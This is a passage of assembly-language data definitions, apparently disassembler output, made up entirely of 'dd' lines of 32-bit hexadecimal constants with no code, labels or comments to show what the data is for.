dd 23055272h, 6DCCDF3Eh, 1A4C06h, 97D70BB8h, 46A18DFBh
dd 0A606AA6Fh, 0CB9E4477h, 0A1FBE265h, 195ED4D8h, 0E3CDC24Fh
dd 666BE160h, 64C1B3BBh, 9DBAC61Eh, 0E579CE8Ah, 0B5D6CA17h
dd 1FFA395Eh, 0D63DB312h, 19BF02A8h, 3858A45Dh, 1C6742CBh
dd 4D45F51Eh, 0F1CBF6EBh, 94DAF7D3h, 0C4F1D5C0h, 2271D388h
dd 68056B53h, 0CF651CFAh, 0F4A7DA4Ch, 0DEFD97AFh, 3E518610h
dd 85AAF9Fh, 363351E8h, 9E3C8C71h, 5D66AB08h, 19150138h
dd 5997532Eh, 0F11F1FCDh, 1AC8E700h, 0BC31B481h, 711468DCh
dd 6A7A1285h, 2F9831F6h, 4E98A97Ch, 0CA38C135h, 94BB4934h
dd 774A56C4h, 0D405B817h, 0D78EDE4Dh, 0B122811Ch, 9BDB031Dh
dd 7703BC7h, 5EF22684h, 4C6ADCBAh, 0E0EE38EDh, 0C81A9921h
dd 9B71869Eh, 9D13FCCAh, 0C19006E5h, 95D37602h, 0A842E3AAh
dd 0B3FF699Ch, 0EF5B04EEh, 71495DD1h, 6FC9BD2Eh, 953AF551h
dd 0F90A1ADFh, 0F247970Fh, 2C51545h, 9F6F61F3h, 82980E49h
dd 0B507B968h, 88DDA6FFh, 73FB8611h, 0C1662C10h, 5751F6CCh
dd 424E2D8Fh, 95E3BF23h, 0A2F9A034h, 99A012A0h, 1A18BC45h
dd 21DCAC19h, 0F3DA6546h, 0A81214E9h, 0FD0EBAF5h, 78F93FDDh
dd 0E4EC4F34h, 6B29DF51h, 0A4CE7C3Ah, 671AD6DAh, 0B3C6E1D9h
dd 2C4B26C1h, 7F96FFAh, 4274A872h, 1706FB23h, 2F046DD4h
dd 678EF28Eh, 0E4230A8Dh, 820917E2h, 7799A27Fh, 66B70EFAh
dd 0A3C29283h, 9D4558E2h, 2AC3A97Fh, 0AD1C6F74h, 599BCF4Eh
dd 99FCF7D0h, 4A2572A3h, 0CB0DDF73h, 9A11B15Ch, 6358E9B8h
dd 0C94BD900h, 19C83A13h, 4EFA684Ah, 952932AAh, 87332714h
dd 14362D69h, 3F010DC4h, 0BC026403h, 7A55F60Dh, 62490672h
dd 690A8540h, 12FF303Fh, 5EEC1C41h, 0A0A67CD2h, 0F5A6A1DFh
dd 166007A2h, 0D4A43205h, 0C2987AC1h, 0E9B7B01Fh, 0C4B49789h
dd 6B9A4631h, 80BD7A5Fh, 9E0D6C4Fh, 7D3F50F0h, 3935DA23h
dd 6F33C3Dh, 1AE52EBDh, 43C43325h, 0B5D83026h, 0B565AB88h
dd 0A74F1D79h, 0E23671F0h, 0A9055605h, 0C6A7CC4Ah, 8C0D23D4h
dd 3A79B962h, 0EC7FFE72h, 0CF98E614h, 5973398Fh, 8ED7A0BBh
dd 17D55E5Eh, 0E0CBA191h, 8690EE95h, 7765BC56h, 676E4F42h
dd 16BFC102h, 0D6D05137h, 0E09E1FB1h, 5ED316C0h, 274E55F8h
dd 80ECA6D8h, 8C487E9Eh, 9B1C6E19h, 164C5EA6h, 0D9762E93h
dd 0DD29063Bh, 4A0BBC8Eh, 55B21CF9h, 0FA59795Ah, 20372B14h
dd 1CA07A8Fh, 1494BE10h, 0B5A4A555h, 0A033E111h, 9F71DBEh
dd 7D0C737Ah, 0F1628B6Bh, 0FCF0D0B8h, 961363ECh, 8F6F151Dh
dd 4011E352h, 0C7414D0Ah, 44A83705h, 96B31971h, 1D7D4F91h
dd 8EB5B1BCh, 38846149h, 1D1B85F2h, 203A192h, 4D38043Fh
dd 5ABDB5D4h, 0FDDC502Dh, 4315C609h, 0C4E73C69h, 0EDC364A0h
dd 0A33EB44Ch, 0B8F3734Dh, 0A196FBFDh, 2344905Ch, 0AF4DD663h
dd 805B0BD5h, 7F98C00Fh, 0D9486F2Eh, 7079826Ah, 0FC746FAh
dd 440310ACh, 0DCE39833h, 8E3E0FA9h, 0A188FFC7h, 0ABABC6A0h
dd 0D3EE471Eh, 1A750CB4h
dd 9192C51Ah, 3A4E13F6h, 44CCCC06h, 6DEF8227h, 2D7DACE1h
dd 0F053033Ch, 0F6001A80h, 20D204D3h, 36EE5EDDh, 0EF21CF3Dh
dd 7CB78CACh, 95D1D414h, 0A5065FE5h, 343AFB5Fh, 0E26755FAh
dd 5B69B7Dh, 0C5FB8017h, 47F56B2Eh, 5B27B19Bh, 456CD5EDh
dd 0C1B4881Bh, 0D01B0F9h, 5B3F1E17h, 0A0078D37h, 0AD127C7h
dd 3CBB5F33h, 0EDD811A9h, 0CA12E91Eh, 28893526h, 914A7A9Dh
dd 0D347BEA7h, 31FE010Eh, 5DAF2FCAh, 0A9F3C01Dh, 938E23F3h
dd 0E97AE4C9h, 8EBCF625h, 542FA80Ch, 0A5CBFCDFh, 9690E264h
dd 62FFFF86h, 30D085B0h, 0C0D8E5F9h, 0D8191BE1h, 77B94E83h
dd 0ACFEE980h, 0A1CF3412h, 0F493A027h, 0F04BDD76h, 0E1F970A1h
dd 0F696BBF8h, 5BDF2480h, 9155663Bh, 0A70CACAEh, 231D18BFh
dd 321B8CDDh, 5FC85285h, 55C3BDBDh, 344E8F2Ch, 32752CC0h
dd 3A348B87h, 0FCE4BD93h, 6CD4D066h, 0A64AF496h, 7E5E49C0h
dd 0D1D66D88h, 0F9C8E966h, 2579BF1Ah, 3F365048h, 0A9F03D68h
dd 0A9664EC6h, 0DF40BB96h, 786B7BDEh, 0ADD92BF1h, 5CCE9415h
dd 0B21BF973h, 5A106B4Fh, 4042D170h, 5ECA8C0Eh, 68312C9Ch
dd 9238A49Ch, 7C97D7D0h, 371520BCh, 37558BB5h, 402C4E2Bh
dd 0BA88D41Fh, 1998F540h, 0C7BEBEF9h, 77A2824Dh, 6F2E712Dh
dd 2C6AC111h, 0E1212DB4h, 0A6D011B9h, 8076A32Ah, 0BF18D16Fh
dd 0CCC7548Fh, 31D74255h, 8B84A8F5h, 8A91567Ah, 1CFB4522h
dd 6732D032h, 66302C53h, 725C8915h, 52662210h, 9BE6700Fh
dd 4073A020h, 0B2026A5Bh, 91F63272h, 191AAF58h, 100B6C44h
dd 0CE6DB0EFh, 36AA7256h, 3B1B35A2h, 0E3C63CA3h, 2130A9E0h
dd 0E717AEA7h, 3DE54EE4h, 0EF091618h, 9F8270E9h, 0D99426EAh
dd 0EC1E5377h, 524DF560h, 0FC4429A5h, 42664588h, 60C28F10h
dd 42EAEE1Dh, 0CC70098Ah, 0F89813EFh, 0CCBBBB14h, 97D77600h
dd 6800AF3Bh, 67028FE2h, 55902EA9h, 9C396C57h, 19DEBB66h
dd 4A5B1B60h, 0F5EF4A26h, 5806762Bh, 0A31C67AFh, 2BDF2C0Eh
dd 398184F5h, 0D0927858h, 215D5808h, 1ED8EE4Ch, 0CB4B8AB8h
dd 9ADA0060h, 807B04A3h, 25861082h, 139E02BDh, 5D8FE2DCh
dd 0FB2DDCB5h, 0BDF3CFAh, 48107EDAh, 35E1BF56h, 46FEF0BAh
dd 0DD24EB4Fh, 0F5728DDAh, 3DDEEB48h, 0C4692FC9h, 8767C1F9h
dd 99DC9893h, 2E83A8D7h, 0DC107F2Bh, 845529F4h, 0C61B0DE2h
dd 31D2AF0Fh, 0C2245018h, 0D2F43463h, 82B617EEh, 475A1144h
dd 6A105169h, 91429C3Ah, 0D799ACC0h, 25570272h, 6FFB576Eh
dd 5AECAF92h, 9DE2AB15h, 96890864h, 953685E1h, 0DD19B50Bh
dd 7BB1ADD3h, 0AEBEF831h, 0CDF8C4Ch, 76FC398Ch, 31770734h
dd 42B6DB42h, 503D3114h, 51FC7259h, 2FDFA191h, 0F85B542Ch
dd 15758BF7h, 794AFDF0h, 3C0FBA0Eh, 0AFF4FA5h, 8FDBAD02h
dd 39EC1860h, 39AA597Ah, 76376D0Fh, 62419E8Fh, 5C423E84h
dd 0B5DF144Ah, 414BC66Bh, 519AEB95h, 701969D2h, 2EB2CD5Ah
dd 2652D835h, 26439868h, 81B440FFh, 0FFD3FE82h, 9FECBB7Fh
dd 4B32FD2h, 4D56ECE1h, 5B6AD681h, 337E5841h, 347D00E8h
dd 0F89C353Eh, 90B3D950h, 5E557611h, 80B7ACADh, 0F6CF3CB4h
dd 8B147B69h, 6E62369Eh, 0A693A335h, 61D9A02h, 95DADE13h
dd 81CE7915h, 0BA83CBE4h, 63C2BFC8h, 0E6D80DE6h, 81DF4230h
dd 15C41105h, 0A6C3C4DDh, 0F8BDEA61h, 58844B88h, 0A93C961Dh
dd 94BA8406h, 0D6B6DE81h, 663CD97Bh, 64224B8Bh, 123B1E31h
dd 0E3A35D76h, 8B346ED9h, 687DE31h, 6008CA88h, 0F274E047h
dd 750FA0D5h, 5CC31778h, 8380714Bh, 22938E51h, 9C1A1F62h
dd 54DB417Dh, 0E6FBB3FEh, 3B4D48EBh, 3057E13Eh, 8251A8EEh
dd 56299FA6h, 8ED89DB6h, 68B2C0CAh, 0BE2690FDh, 0EE145EA6h
dd 0C8014BC6h, 0D5EB468Ch, 6FBC994Eh, 3DE87280h, 0CE37BC80h
dd 7DC80A50h, 0F38485AFh, 0DA1BE4DAh, 8752A7D7h, 0DC1AA73Ah
dd 0B88956EBh, 0EFC8541h, 88721033h, 0D24EB5A1h, 29080E69h
dd 0F52B277Fh, 0FA6E954Dh, 9F883F6Fh, 0CE3D1C9h, 0AC74B9E8h
dd 29410A27h, 0CA332844h, 202DC867h, 80BA0CD6h, 0E0ABC4D6h
dd 0FDE1E1DAh, 0AC6EABB1h, 42233D06h, 4E00169Fh, 1281A404h
dd 715CABDFh, 9803A201h, 55D58530h, 8137D6B2h, 0AA91DD88h
dd 10545A1Bh, 0AFF04193h, 0D6CD36E2h, 0BC6726Fh, 62F2FD8Bh
dd 34D2B5B4h, 39DBB7D4h, 88062C1Fh, 3E2C2019h, 0B0D2CE27h
dd 423A81F4h, 52DC820Ch, 48232881h, 82BD449h, 0CB6C59Ah
dd 4EA2A19Eh, 5C49B921h, 96861747h, 665EEA77h, 7A5C08B5h
dd 0C780135Eh, 9524B3A7h, 0B831D139h, 0FE720C20h, 71EBC92Eh
dd 4C63789Ah, 0EB8FDF06h, 32E312F9h, 826EE850h, 53B2260Ah
dd 74E30A0Eh, 15C29F03h, 0AA55817Dh, 8D3888B5h, 2114D854h
dd 34914B31h, 7125688Dh, 6AEE204Ch, 0A5C4924Fh, 0FA02EA9h
dd 418C67E7h, 0E103DCDEh, 6387A730h, 0D6CA88F7h, 0DC00AE80h
dd 0A4F84871h, 0F4217283h, 263D24E9h, 3D0A4808h, 38C7450Ah
dd 5254C00Ah, 1128E331h, 980C267Fh, 0D75B0555h, 85552776h
dd 6B7B0CDAh, 47661CB4h, 387E95E9h, 0A6C0BDFDh, 2D8DE1D7h
dd 0B7470C6Dh, 25835036h, 2B0F8A57h, 0BB78AFD4h, 86CD5DA2h
dd 0A9D92233h, 0DC21A3A2h, 68F860E3h, 99F5B263h, 1E689EB6h
dd 34EDAAD3h, 24AB7CD6h, 0F1E2A7B8h, 0DE71C74Eh, 0DE66C0BEh
dd 84F40456h, 980F3A2Ch, 9066BFE5h, 268DC530h, 0AED380DCh
dd 0FCFA4529h, 0D70A01FAh, 0F760A279h, 88E62DFFh, 0C7F86A3Fh
dd 0E92CDBD6h, 0B970AC05h, 0FAC22C26h, 0F7C607DAh, 6099361h
dd 5E592C2Bh, 0D839D592h, 512C4963h, 7E1296DEh, 7662D90Ah
dd 6417E91Ch, 0D2823A48h, 7DB84C98h, 3E4B380h, 858307Bh
dd 0F55AE9CFh, 4D2C0C92h, 0C37DE28h, 1EF05AE3h, 0FEA24CC2h
dd 8B5DC733h, 0DA86BA97h, 0DDB5D717h, 0B1D1E605h, 87860AF3h
dd 1F7A14F7h, 0BFFB3E7Eh, 7E452D21h, 30CA2057h, 0D0A47B29h
dd 4761C1EDh, 0F1607112h, 6493BD28h, 9D961255h, 0C8853E47h
dd 68B18E8h, 1525CBD1h, 47AECDEDh, 65B82911h, 0C67D8353h
dd 0C5FD44DCh, 3734EADDh, 719028C4h, 0FD5FC039h, 0B8A5DD40h
dd 9599D2D8h, 0F4FFC202h, 0F95467D0h, 13164E1Ah, 65A3716Dh
dd 2B8F1859h, 0EB3D15FAh, 80C0FC97h, 0C866CFC9h, 0A2AF5D49h
dd 7DAA15Ah, 7791E630h, 1617F5BBh, 69330A04h, 4051A00Bh
dd 9C41B7D6h, 46EDE5ECh, 52BD4B51h, 96B35AB3h, 73B487BFh
dd 0EDC2C490h, 18418124h, 0AA9E68ABh, 0CC49BD1Ah, 70B9897Eh
dd 0CC0D6210h, 6CA9581Eh, 968F649Fh, 4AAA09F1h, 8B2E4227h
dd 67025AFDh, 60879CB9h, 6E6328ACh, 0A460F236h, 50CC182Bh
dd 0D3894D0Dh, 63A5F0C0h, 0EE750D36h, 7113AC61h, 8C08BD35h
dd 64340C93h, 59FEB5F0h, 5C6C18C2h, 89394CCBh, 0B67BE0CFh
dd 3DCB12AAh, 6CF04F01h, 0BB2515Eh, 135874A5h, 0F6EAFC7h
dd 9000DD4h, 0AE7CBAE1h, 0F17D63C7h, 795F14BFh, 62482BE8h
dd 0A2EED336h, 19D8DCC3h, 50E9D098h, 0E5F61C3h, 0D139BCADh
dd 0E785614Dh, 809A5E2Eh, 0F9E9A15Dh, 0F1EDB0E2h, 65599C2Eh
dd 8F30A94Fh, 0BD664346h, 44E659D1h, 9BAC9301h, 0BB8A9E64h
dd 0B0D64CD2h, 0AB01906Eh, 0DDA1B347h, 48C20724h, 42D4449Eh
dd 0F0147B24h, 9FD9647Dh, 6A1DF3E6h, 6CAF259h, 0F50097Eh
dd 9ADB5B19h, 0F50090DBh, 0E87143B1h, 0E0474AE8h, 1F8F3C0Dh
dd 649D6413h, 0AFE6D03Ch
dd 2EF03BDBh, 7CF5623Fh, 0A34927DFh, 1B82E0C5h, 991C0DC1h
dd 839C58BCh, 0E523DB27h, 0EE889648h, 2ED56517h, 1A591FFCh
dd 0FDDAC512h, 0E5187681h, 51A9D07Ah, 31043D38h, 107318DFh
dd 0C493CB62h, 2DAEEAC4h, 2A7478E1h, 8456A46Ch, 64F94181h
dd 10C391F8h, 21BE3D3Dh, 83E5FB53h, 292F0E1h, 2E02C4D4h
dd 4131A753h, 0EF509BEDh, 0B0E9998Ch, 3AE8AA79h, 0F68CBC25h
dd 21D01589h, 0E3C37321h, 85258957h, 96AD5312h, 13E55238h
dd 5919F223h, 0B34C0911h, 18B2445Bh, 20D19E75h, 0A472FB2Dh
dd 8EF71223h, 0BB1F56F3h, 0C2243468h, 35493DBFh, 0EEFE32F9h
dd 3305DF15h, 4D066C9Fh, 0EDA5219Bh, 611D235Fh, 0CE4431C2h
dd 63F791ABh, 0CE4534C5h, 0FEB51FA7h, 7ACBA456h, 68892599h
dd 70036CB5h, 0D2A73FEEh, 0D5371A82h, 32D9D41Ah, 65B9E297h
dd 0ECF33147h, 571C5A48h, 39434249h, 73A8760Ah, 203249F4h
dd 0EF527BC9h, 0C1D9EEA7h, 452E3B77h, 26163404h, 0F3728C50h
dd 134B3D5Dh, 9AEC7E67h, 2F511A1Ah, 0CFC9BCE9h, 0B996E2AAh
dd 8CFE0879h, 0EAE4B8F7h, 47A4BCDDh, 222EEBD8h, 3799E550h
dd 0B8ED9192h, 0DB1FB5E0h, 9C24D0DDh, 7FF2BD8Ch, 540155B8h
dd 6E3CCEA6h, 1FF80357h, 0C4A96648h, 82DA5EF5h, 59A4A2B5h
dd 3DDE048Dh, 4900F0F4h, 91E3A056h, 0D7161B65h, 0CC0D70D3h
dd 24176294h, 8D9ED515h, 0B50C4B4Dh, 23F48BCAh, 6544FAC8h
dd 0B4A71C43h, 26FFBE74h, 16D60444h, 0D4C7B1D2h, 0B7BEDA97h
dd 3F19600h, 0E0A0DFDEh, 9033588Dh, 2FAA214Fh, 6FC9F5EAh
dd 292B13FAh, 340437D4h, 7832694Eh, 0A05455FEh, 30CEA727h
dd 0CFA7DFD2h, 0C04E7FC4h, 0A9C81541h, 3EEAA661h, 42C72F61h
dd 0F03AF329h, 0AA229493h, 0B86189DEh, 3D48B1DAh, 8A4F8790h
dd 2BBC949Ch, 3DBD9B9Bh, 558DD007h, 0AA8C3609h, 14E61BF5h
dd 0F0C7A037h, 6EE352B3h, 86A76E52h, 896FA858h, 0E9595289h
dd 7089CD7Dh, 6B8CE8EBh, 6E736CBCh, 89EEE56Ch, 57EC7C92h
dd 7D7D25FDh, 0A3B640E2h, 45FF82BBh, 94A105C5h, 7DB769Fh
dd 2256CD21h, 51045515h, 1DAC2FB7h, 0E57F5EDh, 3C95D577h
dd 0FF639C24h, 8A708FC1h, 2689441Ah, 35ECBF95h, 0A6C9C1FEh
dd 0BC2A4778h, 0C98C9F3h, 6E5031ECh, 40997E54h, 96999848h
dd 0B392090Bh, 0EBF61246h, 0A8833E3Ah, 0BD0B8BBEh, 6693F3F0h
dd 0BBE7FB1Fh, 0DB3BB70Fh, 7AB2E714h, 81CE3FC7h, 1C294362h
dd 0BE6E49C4h, 88AA50A1h, 0B41B8740h, 0E57AB997h, 4C165F08h
dd 0D4D54A8Dh, 0BB0B5840h, 0BFFCE261h, 3E9122D8h, 1DEFBAF6h
dd 321F8BD3h, 0DBE8A7D9h, 0D0880E18h, 0F882A9h, 0D0928B20h
dd 8704B939h, 0F16DF6A4h, 2E53F9E6h, 1D71231Ah, 0CF2C0EBAh
dd 1AF03335h, 4D39E3D0h, 0D10D8BFDh, 1EC2DFF8h, 0DE9C95C4h
dd 71B59B0Fh, 0E60F6819h, 5F0A876h, 79951647h, 372BC41Eh
dd 592CF80h, 3ADEF0BDh, 25DCD1A1h, 47380B4Dh, 3BEBAB86h
dd 42240F13h, 33B992D2h, 0C464DD6Fh, 43F98A86h, 0D219C076h
dd 17780E5Fh, 272B685Dh, 0F4EBD7Bh, 0B80C2135h, 0F82E0D67h
dd 0BA7B2CB8h, 0F3C8FC36h, 329D3063h, 0F1726DB4h, 6D7F0304h
dd 6B4B34CFh, 90F7BAD2h, 124267h, 9C40B1C9h, 0B982B6Dh
dd 0D8EA56C8h, 84F52262h, 0F259DB05h, 0C99D7AE9h, 0D4A51186h
dd 0FD7F115h, 0FE8ABE21h, 0B6ECC94Eh, 0AA592983h, 0DDD1314Ch
dd 286DFE7Dh, 0E6FE7BADh, 0D9FE8D0Eh, 0E20288D8h, 0D904468Dh
dd 527AE425h, 0E911186h, 1110A769h, 82A75C88h, 617E35A6h
dd 0A5590406h, 77A5FEC1h, 0F97CBBE3h, 84C60FB6h, 0FA77B5D1h
dd 236AA473h, 0A8058BEBh, 0D9C5C1E3h, 8CD01A2Ch, 24B19558h
dd 71D3F9FDh, 15A09175h, 1DB4615Ch, 0CE898F46h, 490C80B7h
dd 0F0FB3872h, 0C28B3FB8h, 0AE400264h, 7C61FD28h, 0AD1BED6Bh
dd 1D2E2412h, 0B60D264Bh, 0E72808BCh, 0CD10BAD4h, 0E8F5348Fh
dd 4BE03E0Ch, 157172E3h, 92C39415h, 298BF6BDh, 462FBC6Dh
dd 2303C7F7h, 4AC219EAh, 7852668h, 6096531Ah, 110B795Bh
dd 0DBAA89F5h, 0BF560CB0h, 16CF1A53h, 4A200928h, 3A39C102h
dd 0D4BC083Ah, 775C2B03h, 6BDD04A5h, 892949C2h, 5BDEC327h
dd 8FE3F418h, 604A1116h, 0D1A3E240h, 1D3E02E6h, 237B97CDh
dd 61D886E5h, 50B68D28h, 0F7C60E08h, 0F9ECB543h, 9F586128h
dd 476E94C9h, 0C779A015h, 9E540E5Ch, 0E4275D9Eh, 548D22ADh
dd 55D0C440h, 5AD3538h, 79867CFDh, 4E02B722h, 5F7B8D2h
dd 218D108Ah, 530AA0BBh, 629235DBh, 5492ADC0h, 908A5FB5h
dd 467070A7h, 0BED210C0h, 994875A0h, 0A5136AAAh, 2A693319h
dd 170F6E14h, 0B2EA5B50h, 58E63907h, 57C1002Eh, 3B24803Ah
dd 242EB99Bh, 0CD976626h, 5A5BD9FEh, 3496B653h, 877F7C93h
dd 0A085F021h, 0B43B097Bh, 46144827h, 43F8C4DAh, 6E0EB8C3h
dd 0F7D4252Fh, 0DDAE3F2Bh, 3B4575BEh, 9078E9ABh, 3CFB32C9h
dd 0E87F61E9h, 26D3BD88h, 839A71Bh, 0B6BDE95Bh, 1B884115h
dd 0A483BC37h, 223FF12h, 2B31EEA9h, 835F5EA0h, 4C9157B2h
dd 2D8FE9BEh, 0F409BA4Bh, 37DB72Ch, 0ADB4C6DEh, 0F93B7D32h
dd 45AC41DDh, 1C548473h, 60D66B2Ah, 4B47441Bh, 0D517CC81h
dd 0BA6D6732h, 9F265052h, 0DD7F556Bh, 954D5B92h, 37EF9624h
dd 0D2399EC4h, 2DB7229Ch, 0D0288D1h, 0D532F1C0h, 0B1153F38h
dd 7EEE0881h, 0A6CFC71Fh, 0AA0E8D78h, 0F79805B7h, 0B1CED56h
dd 7AC9E447h, 0F67E3E88h, 8A307649h, 7BAA2EA5h, 0F1C4ADA6h
dd 58C7630Ah, 0C8167Ch, 976CE5ADh, 0A69FEC4Dh, 0A2BC8607h
dd 169A0E02h, 204BCA02h, 0D7462F09h, 9755C3C2h, 0D359B1Bh
dd 0DB974636h, 0ED7089AAh, 598DEF8Ah, 0BA028E8Dh, 0B01A7D8Eh
dd 0C37D781Dh, 0F49B5E9Ch, 824D20A8h, 0DA23B0ADh, 43B7B25Eh
dd 4294391Dh, 42AAE41Ch, 7A638A0Ch, 22EA6D2Dh, 0AA4920D7h
dd 71F6B27Bh, 74C266E2h, 58CBB9ACh, 9F69C1D7h, 576244B1h
dd 62396D05h, 8F1D36A4h, 102D41DAh, 0FC54855Dh, 0C8771693h
dd 18F3AD63h, 88AB1622h, 0DF68008Fh, 2F1C1F6Fh, 70FCDFAAh
dd 230ECD3Ah, 1B1D2FA2h, 8E1BA1D7h, 0D7825F6Ch, 2D64C83Fh
dd 0B62DA6F6h, 71A65924h, 50485401h, 0DFB7928Dh, 4F66762Bh
dd 7BFC7ACBh, 72E9ECC6h, 44B6A515h, 4A48BD5Dh, 4105CBE5h
dd 982FF207h, 0EA206C66h, 0FE04442Ah, 5E2298DAh, 77FC5BBh
dd 5526BA31h, 2231D00Bh, 0B42CB3E2h, 1F18E151h, 0F2B73C15h
dd 5148BB56h, 479C6AB4h, 0A3D0E330h, 5AE444B0h, 8801CBD4h
dd 0E7E830C4h, 0B856D32h, 0F1376E38h, 0F7590884h, 54AA6678h
dd 0E6758B18h, 0A4A5696Fh, 45ECB935h, 0E7125686h, 7ECDBFC9h
dd 2FFEBC08h, 0A0574FA6h, 0E0473963h, 0FA9CDCDAh, 16914F4h
dd 0A213747h, 3DF9D6C3h, 0E64ADDF2h, 0AEE64078h, 3DA0A77Bh
dd 72C3BB08h, 0EFD4B1D6h, 3CCF3829h, 92DB7350h, 0B165697Fh
dd 3B965FB6h, 0F10506E7h, 0C0253EDAh, 785E1122h, 32D1CEF1h
dd 8CDD0A71h, 9F514225h, 8A9CBD7Ah, 4C7C511Eh, 0E0B0C9B0h
dd 0C78BC59Eh, 7B133D68h, 0E14256B0h, 0A732587Eh, 0D4F72459h
dd 2322EE59h, 0B30998E6h, 1D95DDADh, 11B34B62h, 412FF1BFh
dd 0BF196527h, 996E6B1Bh, 0EBCC9FFh, 311423D9h, 478106C2h
dd 0F84345A5h, 0E04D48B5h, 997350E2h, 0AAE8E4Bh, 47E7CF5Bh
dd 71FCEDE2h, 3A85AAAAh, 0E84708FBh, 427953CDh, 8360BB6Bh
dd 0CF37412Ah, 0D1D930B8h
dd 0F3202FABh, 3EC2BB0h, 0A7921E62h, 2D0EA4D4h, 26819235h
dd 55893413h, 0C0378FD4h, 50242107h, 0FC46BE28h, 9BB18F0Ah
dd 259E7FFAh, 9A5DBD94h, 6153862h, 0FE5A22CBh, 1204583Ch
dd 7CA1EB46h, 6DC2D4Eh, 0A08DAE00h, 9EDD5593h, 495D46F0h
dd 533EA651h, 273A57E1h, 95521CEAh, 9E13928Ah, 0AD5ECD25h
dd 0E7358BC3h, 96E9AFF0h, 0FF34673Eh, 0ACB9320h, 0D51642ABh
dd 9B7FC00Ch, 3B011979h, 576E1B26h, 9ED4F706h, 0A2C34284h
dd 0F3BFD9DBh, 117458BCh, 0F447AB6Ch, 541B74DFh, 9072053Ch
dd 0FAF43DD0h, 2EDE4978h, 95AA642Ah, 96B71BE9h, 0F4CAD5FEh
dd 797437EAh, 6F17F9F8h, 1C549DEBh, 0CD855108h, 0F9A640B2h
dd 30CAAAEDh, 793682D6h, 640B63A1h, 478ECE38h, 0D59CB31Ah
dd 0EB11DD0Dh, 246921B3h, 7478A135h, 0A71CBB07h, 9FF2F0E3h
dd 0A9DE4D40h, 0A31BEBB7h, 0D0189905h, 0E92A1D47h, 76CB8446h
dd 0CA7E92B8h, 0A0C75909h, 1C8CFC69h, 0B12C4E96h, 3A27943Dh
dd 3CD42AF2h, 0EB7F5C96h, 3F082DA3h, 4C2BF1EEh, 6FF1C8E3h
dd 250EA8C3h, 6EBE3DE5h, 0AE420DB7h, 5BD35223h, 761648D4h
dd 9285C9C6h, 8288C1FCh, 8075E3E9h, 7A6259BDh, 0D6083301h
dd 267D0640h, 4AF913DBh, 4049F03h, 2FE8B201h, 0CDBADF38h
dd 45E3A08Eh, 2F9FC07Bh, 0BABE73A5h, 0F4520C63h, 0BBB30EEFh
dd 0CD2B0E18h, 3684F7F1h, 0E580A402h, 955B925Ch, 0BEB56B12h
dd 0CF5A754Ah, 8817585Ch, 0C611F8CEh, 0B6CDE35Ch, 0A51F89F2h
dd 7FBCA04Ch, 0B29A0995h, 0EC999E89h, 0B4AC4D7Ah, 0F99D46FCh
dd 0B555A897h, 0BB9DA44Fh, 0ECC1B88h, 12F6060Ch, 0F80CB716h
dd 0E022D5E7h, 700941F3h, 0B2900EFBh, 21BA323Eh, 0F98D1973h
dd 2F670DBAh, 0AD24E5C2h, 0E3178F9Ah, 0C1AEFE4h, 0EAC32ED7h
dd 0C1D4DAABh, 0BEEA1D4Ch, 0D6E181C3h, 458BFE0Dh, 0CC0FE1CEh
dd 16ABC422h, 5FA61C2Dh, 1E26A730h, 44B89F53h, 1F1A6370h
dd 0AE9EF34Dh, 6E34504Ah, 0B3208064h, 2F4557E9h, 4EBFEAE5h
dd 555C668Ch, 0A51B6349h, 518B1F86h, 2A9196DCh, 0F5FDE3D4h
dd 4D0B65C2h, 297990C6h, 0C5B91FC6h, 49C2DD97h, 0A0892DACh
dd 39A129F3h, 36FC7D24h, 314D440h, 59C32C1Dh, 12B1D3C3h
dd 0D2E8332Eh, 368876B4h, 0FCF9EF66h, 6A145E75h, 0EA409C5Ah
dd 0D6631965h, 42E55671h, 14B591EBh, 53959A84h, 917F57F7h
dd 0CE4D4BA4h, 2F5432ABh, 6E9A0E92h, 48008CE3h, 0E24E9CDBh
dd 0C224996Ch, 650F4393h, 45C48DBFh, 0BF119FA7h, 0E3292712h
dd 0F973112Ah, 6FA6BF6Ah, 0D86AB4C0h, 8E623B03h, 0B2D57D06h
dd 0D70A434Fh, 6278D8Dh, 0CE905C71h, 52E6C698h, 0C2DFDA03h
dd 0FDE1C26h, 7DE43D12h, 51ABD500h, 213E78F0h, 33B7379Dh
dd 555C0CD6h, 7BFCA441h, 872ADE0Ah, 0D32566C0h, 557EA209h
dd 7FF94E4h, 0E4FFFD75h, 653B73BCh, 0B040DB1Ah, 0BF8F7A78h
dd 0BE2F083Dh, 66267108h, 0CA55D7B6h, 8DF0B5ADh, 0BE194519h
dd 0B261351Dh, 71B520D2h, 0FD5F1273h, 75C6B1B5h, 0FE510DC9h
dd 9401F0C2h, 98D966F9h, 31CDFB91h, 180EA3F3h, 0D0BB3BB1h
dd 0EF0BAF74h, 89A4EB14h, 94D7A4ECh, 6F1FF963h, 2EA7590Bh
dd 98095106h, 0E8F949FBh, 40985AD7h, 577B19A9h, 0E75A196h
dd 0A616F167h, 0D13C96A3h, 8BA47451h, 77D427C7h, 808B7F4Dh
dd 0BEB73D20h, 0C49BBB1Eh, 1121004Ah, 506A2D58h, 3F7F04B0h
dd 0F8FEAA07h, 511B5F4Bh, 203A1F33h, 46E1A9FCh, 506F82Dh
dd 50BB6A92h, 0E2B976D3h, 82D83CE0h, 0F82D05EAh, 0CAA3EDDAh
dd 0F6CC4BDFh, 0BC04A980h, 1FA02C92h, 6E48AADh, 0DEE1BE94h
dd 4A7F9147h, 0BEF84AE7h, 21BFE166h, 0D6A9EA0h, 166EAEE0h
dd 4F3065EFh, 9579A7F9h, 0C31225BDh, 8C4900B7h, 7D45259Ah
dd 34F3C76Ah, 0A8BD778h, 0DBFB3099h, 0BC034EE2h, 0E0F95E6Ah
dd 3BF207BCh, 0FF00F423h, 704E2ABEh, 2EDA8206h, 257BE894h
dd 2C0D124Bh, 348B9720h, 940FC568h, 0CBAF259h, 744BD03h
dd 0B7F9C420h, 94EBDE7Fh, 0DBFECAFEh, 1A7D0121h, 64BD1CC0h
dd 0CBDD85FCh, 39771ECh, 6434750Fh, 64A0D0CBh, 673E6086h
dd 36FB3763h, 0DE259135h, 5714ADD8h, 0DBD6DD4Ah, 4A7AF22Fh
dd 40267016h, 3E0ED3BBh, 0EF860A05h, 8B7DBE67h, 830175D7h
dd 8F125688h, 46BEB1C7h, 0B8187FF5h, 0B141AEABh, 2D9FC3ECh
dd 61E377A7h, 4EE73EFDh, 6851EFh, 1BC3503Dh, 0CC1E27A4h
dd 59FB1D8Fh, 432CFF5Dh, 0A6450AC4h, 10CEBB6Ah, 3CEE892Eh
dd 0B75A1116h, 3E7422EAh, 0E3D48A4Ch, 2D691196h, 3499AE53h
